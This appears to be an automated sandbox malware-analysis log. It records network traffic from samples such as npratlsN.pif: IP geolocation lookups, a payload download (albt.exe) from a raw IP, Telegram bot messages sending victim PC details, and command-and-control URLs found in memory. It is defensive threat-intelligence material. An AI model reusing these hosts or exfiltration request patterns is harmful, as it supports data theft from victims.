              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49757 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52744 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52756 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52771 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 192.168.2.4:52790 -> 104.21.16.1:443 version: TLS 1.0
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: unknownTCP traffic detected without corresponding DNS query: 147.124.216.113
              Source: global trafficHTTP traffic detected: GET /admin/245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:21:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2014:32:10%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:02:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /albt.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficDNS traffic detected: DNS query: amazonenviro.com
              Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
              Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
              Source: global trafficDNS traffic detected: DNS query: api.telegram.org
              Source: global trafficDNS traffic detected: DNS query: mail.irco.com.sa
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 14 Jan 2025 07:08:37 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 14 Jan 2025 07:08:48 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 14 Jan 2025 07:08:57 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.00000000218FB000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?L
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://aborters.duckdns.org:8081
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://anotherarmy.dns.army:8081
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
              Source: npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/q
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
              Source: brightness.exe, 00000004.00000002.1889917272.0000000021890000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1858000944.000000007F2CA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1856985915.0000000021F01000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830836182.000000007F30F000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000F.00000002.2087769696.0000000020588000.00000004.00001000.00020000.00000000.sdmp, npratlsN.pif.4.drString found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
